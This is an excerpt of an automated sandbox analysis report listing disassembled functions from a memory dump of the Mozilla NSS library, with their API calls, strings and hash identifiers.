sqlite3_free.NSS3(00000000), ref: 6CCD2F3E
sqlite3_free.NSS3(?), ref: 6CCD2F4C

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: sqlite3_free$CriticalSection$EnterLeavesqlite3_execsqlite3_initializesqlite3_mprintf
String ID:
API String ID: 1957633107-0
Opcode ID: 306732d38526249c5ca36d9829cb6bc0941a1d0905200c8d75cb911e8908123d
Instruction ID: 15904045fc701eae45c3f446f778127d664d8f00fd114884890d33dbde3b6d89
Opcode Fuzzy Hash: 306732d38526249c5ca36d9829cb6bc0941a1d0905200c8d75cb911e8908123d
Instruction Fuzzy Hash: A9618FB5E012058BEB00CFA8D894B9EB7B1EF48349F164024DE55A7B01E735FC45CBA1

Function 6CC22C40 Relevance: 18.2, APIs: 12, Instructions: 163COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6CC23F23,?,6CC1E477,?,?,?,00000001,00000000,?,?,6CC23F23,?), ref: 6CC22C62
EnterCriticalSection.KERNEL32(0000001C,?,6CC1E477,?,?,?,00000001,00000000,?,?,6CC23F23,?), ref: 6CC22C76
PL_HashTableLookup.NSS3(00000000,?,?,6CC1E477,?,?,?,00000001,00000000,?,?,6CC23F23,?), ref: 6CC22C86
PR_Unlock.NSS3(00000000,?,?,?,?,6CC1E477,?,?,?,00000001,00000000,?,?,6CC23F23,?), ref: 6CC22C93

Part of subcall function 6CCADD70: TlsGetValue.KERNEL32 ref: 6CCADD8C
Part of subcall function 6CCADD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CCADDB4

TlsGetValue.KERNEL32(?,?,?,?,?,6CC1E477,?,?,?,00000001,00000000,?,?,6CC23F23,?), ref: 6CC22CC6
EnterCriticalSection.KERNEL32(0000001C,?,?,?,?,?,6CC1E477,?,?,?,00000001,00000000,?,?,6CC23F23,?), ref: 6CC22CDA
PL_HashTableLookup.NSS3(00000000,?,?,?,?,?,?,6CC1E477,?,?,?,00000001,00000000,?,?,6CC23F23), ref: 6CC22CEA
PR_Unlock.NSS3(00000000,?,?,?,?,?,?,?,6CC1E477,?,?,?,00000001,00000000,?), ref: 6CC22CF7
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,6CC1E477,?,?,?,00000001,00000000,?), ref: 6CC22D4D
EnterCriticalSection.KERNEL32(?), ref: 6CC22D61
PL_HashTableLookup.NSS3(?,?), ref: 6CC22D71
PR_Unlock.NSS3(?), ref: 6CC22D7E

Part of subcall function 6CBF07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CB8204A), ref: 6CBF07AD
Part of subcall function 6CBF07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB8204A), ref: 6CBF07CD
Part of subcall function 6CBF07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB8204A), ref: 6CBF07D6
Part of subcall function 6CBF07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CB8204A), ref: 6CBF07E4
Part of subcall function 6CBF07A0: TlsSetValue.KERNEL32(00000000,?,6CB8204A), ref: 6CBF0864
Part of subcall function 6CBF07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CBF0880
Part of subcall function 6CBF07A0: TlsSetValue.KERNEL32(00000000,?,?,6CB8204A), ref: 6CBF08CB
Part of subcall function 6CBF07A0: TlsGetValue.KERNEL32(?,?,6CB8204A), ref: 6CBF08D7
Part of subcall function 6CBF07A0: TlsGetValue.KERNEL32(?,?,6CB8204A), ref: 6CBF08FB

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Value$CriticalSection$EnterHashLookupTableUnlock$calloc$Leave
String ID:
API String ID: 2446853827-0
Opcode ID: 3aa22c18a1d23361bf3c70f80a65608610060a97b7042486e5db13a5c6792a94
Instruction ID: 125cae31490f779391bbcf8e7dba5ac9150ff80c1fea57117d84fbf374998cf5
Opcode Fuzzy Hash: 3aa22c18a1d23361bf3c70f80a65608610060a97b7042486e5db13a5c6792a94
Instruction Fuzzy Hash: B45106B6D00205ABEB009F25DC459AAB778FF19368F048560ED1897B12F731ED69CBE1

Function 6CC17C70 Relevance: 18.1, APIs: 12, Instructions: 141COMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6CD62120,Function_00097E60,00000000,?,?,?,?,6CC9067D,6CC91C60,00000000), ref: 6CC17C81

Part of subcall function 6CB84C70: TlsGetValue.KERNEL32(?,?,?,6CB83921,6CD614E4,6CCCCC70), ref: 6CB84C97
Part of subcall function 6CB84C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CB83921,6CD614E4,6CCCCC70), ref: 6CB84CB0
Part of subcall function 6CB84C70: PR_Unlock.NSS3(?,?,?,?,?,6CB83921,6CD614E4,6CCCCC70), ref: 6CB84CC9

TlsGetValue.KERNEL32 ref: 6CC17CA0
EnterCriticalSection.KERNEL32(?), ref: 6CC17CB4
PR_Unlock.NSS3 ref: 6CC17CCF

Part of subcall function 6CCADD70: TlsGetValue.KERNEL32 ref: 6CCADD8C
Part of subcall function 6CCADD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CCADDB4

TlsGetValue.KERNEL32 ref: 6CC17D04
EnterCriticalSection.KERNEL32(?), ref: 6CC17D1B
realloc.MOZGLUE(-00000050), ref: 6CC17D82
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC17DF4
PR_Unlock.NSS3 ref: 6CC17E0E

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: CriticalSectionValue$EnterUnlock$CallErrorLeaveOncerealloc
String ID:
API String ID: 2305085145-0
Opcode ID: 477c73575f0d41b9df2d54a8218b730632085e49789f43da9c5523f80776d4fc
Instruction ID: 4b0aa5840180320a5c34db9d337fdead1f4460fe375d4a91554f9a44a7fc1b79
Opcode Fuzzy Hash: 477c73575f0d41b9df2d54a8218b730632085e49789f43da9c5523f80776d4fc
Instruction Fuzzy Hash: BC51F171A0C1059FEB00AF2BCC44A7577B9FB4631CF1541AAEE0487B61FB309995EBA1

Function 6CB84C70 Relevance: 18.1, APIs: 12, Instructions: 116threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6CB83921,6CD614E4,6CCCCC70), ref: 6CB84C97
EnterCriticalSection.KERNEL32(?,?,?,?,6CB83921,6CD614E4,6CCCCC70), ref: 6CB84CB0
PR_Unlock.NSS3(?,?,?,?,?,6CB83921,6CD614E4,6CCCCC70), ref: 6CB84CC9
TlsGetValue.KERNEL32(?,?,?,?,?,6CB83921,6CD614E4,6CCCCC70), ref: 6CB84D11
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6CB83921,6CD614E4,6CCCCC70), ref: 6CB84D2A
PR_NotifyAllCondVar.NSS3(?,?,?,?,?,?,?,6CB83921,6CD614E4,6CCCCC70), ref: 6CB84D4A
PR_Unlock.NSS3(?,?,?,?,?,?,?,6CB83921,6CD614E4,6CCCCC70), ref: 6CB84D57
PR_GetCurrentThread.NSS3(?,?,?,?,?,6CB83921,6CD614E4,6CCCCC70), ref: 6CB84D97
PR_Lock.NSS3(?,?,?,?,?,6CB83921,6CD614E4,6CCCCC70), ref: 6CB84DBA
PR_WaitCondVar.NSS3 ref: 6CB84DD4
PR_Unlock.NSS3(?,?,?,?,?,6CB83921,6CD614E4,6CCCCC70), ref: 6CB84DE6
PR_GetCurrentThread.NSS3(?,?,?,?,?,6CB83921,6CD614E4,6CCCCC70), ref: 6CB84DEF

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Unlock$CondCriticalCurrentEnterSectionThreadValue$LockNotifyWait
String ID:
API String ID: 3388019835-0
Opcode ID: 94a415b2d9258ef4d3c967b08b0f46b9e08142a32f5ab0b17c7695ba426a1cd0
Instruction ID: ef5cbe7c7c612e3ad85d425f9495b7667c5dd6b90b03c61e6b4e69614d871812
Opcode Fuzzy Hash: 94a415b2d9258ef4d3c967b08b0f46b9e08142a32f5ab0b17c7695ba426a1cd0
Instruction Fuzzy Hash: A1418CB5A05691CFDB00AFB9D498169BBBCFF09314F054669D9889B710E730D885CF92

Function 6CD17CD0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 113threadstringCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6CD17CE0

Part of subcall function 6CCC9BF0: TlsGetValue.KERNEL32(?,?,?,6CD10A75), ref: 6CCC9C07

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CD17D36
PR_Realloc.NSS3(?,00000080), ref: 6CD17D6D
PR_GetCurrentThread.NSS3 ref: 6CD17D8B
PR_snprintf.NSS3(?,?,NSPR_INHERIT_FDS=%s:%d:0x%lx,?,?,?), ref: 6CD17DC2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CD17DD8
malloc.MOZGLUE(00000080), ref: 6CD17DF8
PR_GetCurrentThread.NSS3 ref: 6CD17E06

Strings

NSPR_INHERIT_FDS=%s:%d:0x%lx, xrefs: 6CD17DF0
:%s:%d:0x%lx, xrefs: 6CD17DB9

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: CurrentThread$strlen$R_snprintfReallocValuemalloc
String ID: :%s:%d:0x%lx$NSPR_INHERIT_FDS=%s:%d:0x%lx
API String ID: 530461531-3274975309
Opcode ID: 2a7d048c948056736249d33822c6ea861f36d435bb4800e398495358b8012b00
Instruction ID: e05f6dac13236c1e79d2c4271749d54ca53d03ce65eecd590fb03abf8ac142a0
Opcode Fuzzy Hash: 2a7d048c948056736249d33822c6ea861f36d435bb4800e398495358b8012b00
Instruction Fuzzy Hash: 8341D5B1614205EFDB04CF28EC8096B3BA6FF85318B26456CE8198BF71D731E845CBA1

Function 6CD17E20 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 103filestringpipeCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CD17E37
PR_GetEnvSecure.NSS3(NSPR_INHERIT_FDS), ref: 6CD17E46

Part of subcall function 6CBF1240: TlsGetValue.KERNEL32(00000040,?,6CBF116C,NSPR_LOG_MODULES), ref: 6CBF1267
Part of subcall function 6CBF1240: EnterCriticalSection.KERNEL32(?,?,?,6CBF116C,NSPR_LOG_MODULES), ref: 6CBF127C
Part of subcall function 6CBF1240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CBF116C,NSPR_LOG_MODULES), ref: 6CBF1291
Part of subcall function 6CBF1240: PR_Unlock.NSS3(?,?,?,?,6CBF116C,NSPR_LOG_MODULES), ref: 6CBF12A0

PR_sscanf.NSS3(00000001,%d:0x%lx,?,?), ref: 6CD17EAF
PR_ImportFile.NSS3(?), ref: 6CD17ECF
PR_GetCurrentThread.NSS3 ref: 6CD17ED6
PR_ImportTCPSocket.NSS3(?), ref: 6CD17F01
PR_ImportUDPSocket.NSS3(?,?), ref: 6CD17F0B
PR_ImportPipe.NSS3(?,?,?), ref: 6CD17F15

Strings

NSPR_INHERIT_FDS, xrefs: 6CD17E41
%d:0x%lx, xrefs: 6CD17EA9

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Import$Socket$CriticalCurrentEnterFilePipeR_sscanfSectionSecureThreadUnlockValuegetenvstrlen
String ID: %d:0x%lx$NSPR_INHERIT_FDS
API String ID: 2743735569-629032437
Opcode ID: d9c372917f774e65cbc4c31a6ec2a36efbdd63680bcb769f01cb9621fbc3c0f8
Instruction ID: 660fbbf9ec02936bff479722189321ff4fc841be34c8e087ada23d128b58c48d
Opcode Fuzzy Hash: d9c372917f774e65cbc4c31a6ec2a36efbdd63680bcb769f01cb9621fbc3c0f8
Instruction Fuzzy Hash: 21312570A08116EBEB009B68E840AABB7F8BB46348F120525E84593E31E761DD08CB92

Function 6CC4ECE0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,00000000,?,?,6CC4DE64), ref: 6CC4ED0C
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC4ED22

Part of subcall function 6CC5B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CD318D0,?), ref: 6CC5B095

PL_FreeArenaPool.NSS3(?), ref: 6CC4ED4A
PL_FinishArenaPool.NSS3(?), ref: 6CC4ED6B
PR_CallOnce.NSS3(6CD62AA4,6CC612D0), ref: 6CC4ED38

Part of subcall function 6CB84C70: TlsGetValue.KERNEL32(?,?,?,6CB83921,6CD614E4,6CCCCC70), ref: 6CB84C97
Part of subcall function 6CB84C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CB83921,6CD614E4,6CCCCC70), ref: 6CB84CB0
Part of subcall function 6CB84C70: PR_Unlock.NSS3(?,?,?,?,?,6CB83921,6CD614E4,6CCCCC70), ref: 6CB84CC9

SECOID_FindOID_Util.NSS3(?), ref: 6CC4ED52
PR_CallOnce.NSS3(6CD62AA4,6CC612D0), ref: 6CC4ED83
PL_FreeArenaPool.NSS3(?), ref: 6CC4ED95
PL_FinishArenaPool.NSS3(?), ref: 6CC4ED9D

Part of subcall function 6CC664F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6CC6127C,00000000,00000000,00000000), ref: 6CC6650E

Strings

security, xrefs: 6CC4ED06

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: ArenaPool$CallFinishFreeOnceUtil$CriticalDecodeEnterErrorFindInitItem_QuickSectionUnlockValuefree
String ID: security
API String ID: 3323615905-3315324353
Opcode ID: dbc4e7a8c2096677f763585e38c99d0a59e144c77e4c798aff810ec766ac807f
Instruction ID: 321c17f18eeb641e407a55c086a9f840a8be909ecb3d094055850bc2418d65cf
Opcode Fuzzy Hash: dbc4e7a8c2096677f763585e38c99d0a59e144c77e4c798aff810ec766ac807f
Instruction Fuzzy Hash: 3C113676D006146BE710D727ADC4BBBB27CAF4270DF028568E844A2E51FB34A51CCAE7

Function 6CC32CD0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 73COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitToken), ref: 6CC32CEC
PR_LogPrint.NSS3( slotID = 0x%x,?), ref: 6CC32D07

Part of subcall function 6CD109D0: PR_Now.NSS3 ref: 6CD10A22
Part of subcall function 6CD109D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CD10A35
Part of subcall function 6CD109D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CD10A66
Part of subcall function 6CD109D0: PR_GetCurrentThread.NSS3 ref: 6CD10A70
Part of subcall function 6CD109D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CD10A9D
Part of subcall function 6CD109D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CD10AC8
Part of subcall function 6CD109D0: PR_vsmprintf.NSS3(?,?), ref: 6CD10AE8
Part of subcall function 6CD109D0: EnterCriticalSection.KERNEL32(?), ref: 6CD10B19
Part of subcall function 6CD109D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CD10B48
Part of subcall function 6CD109D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CD10C76
Part of subcall function 6CD109D0: PR_LogFlush.NSS3 ref: 6CD10C7E

PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6CC32D22

Part of subcall function 6CD109D0: OutputDebugStringA.KERNEL32(?), ref: 6CD10B88
Part of subcall function 6CD109D0: memcpy.VCRUNTIME140(?,?,00000000), ref: 6CD10C5D
Part of subcall function 6CD109D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6CD10C8D
Part of subcall function 6CD109D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CD10C9C
Part of subcall function 6CD109D0: OutputDebugStringA.KERNEL32(?), ref: 6CD10CD1
Part of subcall function 6CD109D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6CD10CEC
Part of subcall function 6CD109D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CD10CFB
Part of subcall function 6CD109D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CD10D16
Part of subcall function 6CD109D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6CD10D26
Part of subcall function 6CD109D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CD10D35
Part of subcall function 6CD109D0: OutputDebugStringA.KERNEL32(0000000A), ref: 6CD10D65
Part of subcall function 6CD109D0: fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6CD10D70
Part of subcall function 6CD109D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CD10D90
Part of subcall function 6CD109D0: free.MOZGLUE(00000000), ref: 6CD10D99

PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6CC32D3B

Part of subcall function 6CD109D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6CD10BAB
Part of subcall function 6CD109D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CD10BBA
Part of subcall function 6CD109D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CD10D7E

PR_LogPrint.NSS3( pLabel = 0x%p,?), ref: 6CC32D54

Part of subcall function 6CD109D0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CD10BCB
Part of subcall function 6CD109D0: EnterCriticalSection.KERNEL32(?), ref: 6CD10BDE
Part of subcall function 6CD109D0: OutputDebugStringA.KERNEL32(?), ref: 6CD10C16

Strings

ulPinLen = %d, xrefs: 6CC32D36
pLabel = 0x%p, xrefs: 6CC32D4F
slotID = 0x%x, xrefs: 6CC32D02
C_InitToken, xrefs: 6CC32CE7
pPin = 0x%p, xrefs: 6CC32D1D

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: DebugOutputString$Printfflush$fwrite$CriticalEnterR_snprintfSection$CurrentExplodeFlushR_vsmprintfR_vsnprintfThreadTimefputcfreememcpystrlen
String ID: pLabel = 0x%p$ pPin = 0x%p$ slotID = 0x%x$ ulPinLen = %d$C_InitToken
API String ID: 420000887-1567254798
Opcode ID: b72ee8ecb502acd6f064f4dd5c3899b7e9d2fa0b6a0098a9bd7e950453df6edc
Instruction ID: 00e58c814046eedab7c3594d358107294c5f794dbc7aab1ce0b0adcd5e4905af
Opcode Fuzzy Hash: b72ee8ecb502acd6f064f4dd5c3899b7e9d2fa0b6a0098a9bd7e950453df6edc
Instruction Fuzzy Hash: 9821C175200150AFFF01AB55EC5CA693BB9EB4239DF484051F60897A32EB74985CCBF1

Function 6CD10EB0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Aborting,?,6CBF2357), ref: 6CD10EB8
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(6CBF2357), ref: 6CD10EC0
PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6CD10EE6

Part of subcall function 6CD109D0: PR_Now.NSS3 ref: 6CD10A22
Part of subcall function 6CD109D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CD10A35
Part of subcall function 6CD109D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CD10A66
Part of subcall function 6CD109D0: PR_GetCurrentThread.NSS3 ref: 6CD10A70
Part of subcall function 6CD109D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CD10A9D
Part of subcall function 6CD109D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CD10AC8
Part of subcall function 6CD109D0: PR_vsmprintf.NSS3(?,?), ref: 6CD10AE8
Part of subcall function 6CD109D0: EnterCriticalSection.KERNEL32(?), ref: 6CD10B19
Part of subcall function 6CD109D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CD10B48
Part of subcall function 6CD109D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CD10C76
Part of subcall function 6CD109D0: PR_LogFlush.NSS3 ref: 6CD10C7E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6CD10EFA

Part of subcall function 6CBFAEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6CBFAF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CD10F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CD10F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CD10F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CD10F2B

Strings

Assertion failure: %s, at %s:%d, xrefs: 6CD10ED9, 6CD10EE5, 6CD10F06, 6CD10F0B
Aborting, xrefs: 6CD10EB3

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: DebugPrintR_snprintf__acrt_iob_funcabort$BreakCriticalCurrentEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime__stdio_common_vfprintffflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 3905088656-1374795319
Opcode ID: ce0a3ac707acee5aba2407f522997aff5d0aaa6f0355b6b6861beb0a6d343482
Instruction ID: dcecf2f31af17a54c68a632a6eebdea1523a57f64b9d52c75f57fa65dcac4aaf
Opcode Fuzzy Hash: ce0a3ac707acee5aba2407f522997aff5d0aaa6f0355b6b6861beb0a6d343482
Instruction Fuzzy Hash: 9AF04FB59001147BEA017B60AC4AC9B3E2DDF8A6A4F444424FE0996722DA36E92497F2

Function 6CC74DB0 Relevance: 16.9, APIs: 11, Instructions: 395memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400), ref: 6CC74DCB

